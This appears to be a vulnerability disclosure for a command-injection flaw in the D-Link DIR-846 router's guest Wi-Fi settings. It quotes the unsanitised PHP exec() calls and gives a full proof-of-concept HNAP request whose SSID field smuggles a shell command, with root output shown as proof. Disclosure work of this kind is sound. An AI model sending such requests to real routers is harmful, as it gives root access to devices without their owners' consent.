Info of vulnerability

There is a remote RCE vulnerability in D-Link router on page /Guestwireless.html due to invalid sanitization, so attackers could execute arbitrary code.

Vulnerable targets include but are not limited to the lastest firmware versions of DIR-846(100A35)

Detail of vulnerability

The first vulnerable code is in file /www/HNAP1/control/SetGuestWLanSettings.php

```
        ... ...
74      $unicode_2 = $option["wl(0).(1)_ssid"];
75      exec("ssid_code set G2B 3 ssid_tmp1 '" . $unicode_2 . "'");
76      $unicode_5 = $option["wl(1).(1)_ssid"];
77      exec("ssid_code set G5B 1 ssid_tmp2 '" . $unicode_5 . "'");
```

Attacker could trigger this vulnerability in this way:

Malicious Request:

```
POST http://192.168.0.1 /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Proxy-Connection: keep-alive
Content-Length: 351
Accept: application/json
Origin: http://192.168.0.1
HNAP_AUTH: 866164AB3A175C358A2F5A80F1BF591E 1571916427322
SOAPACTION: "http://purenetworks.com/HNAP1/SetGuestWLanSettings"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Content-Type: application/json
Referer: http://192.168.0.1/Guestwireless.html?t=1571916385005
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: sid=eea33228-f58c-11e9-b614-df9bf19cb824; uid=sB1xQK5E; PrivateKey=57FB98B6CA565BFA093D27DB0A2E1A9F;
PHPSESSID=a85e4817b1c1dddd548b245b41acc35b; timeout=5

{"SetGuestWLanSettings":{"wl(0).(1)_enable":"1","wl(0).(1)_local_access":"0","wl(0).(1)_local_access_timeout":"0","wl(0).
(1)_ssid":"a&&id>/www/a.txt","wl(0).(1)_crypto":"none","wl(0).(1)_preshared_key":"SFFMdk9xSE4=","wl(1).(1)_enable":"0","wl(1).
(1)_ssid":"D-Link_DIR-846_5G_Guest","wl(1).(1)_preshared_key":"SFFMdk9xSE4=","wl(1).(1)_crypto":"none"}}
```

You can see this:

uid=0(root) gid=0(root)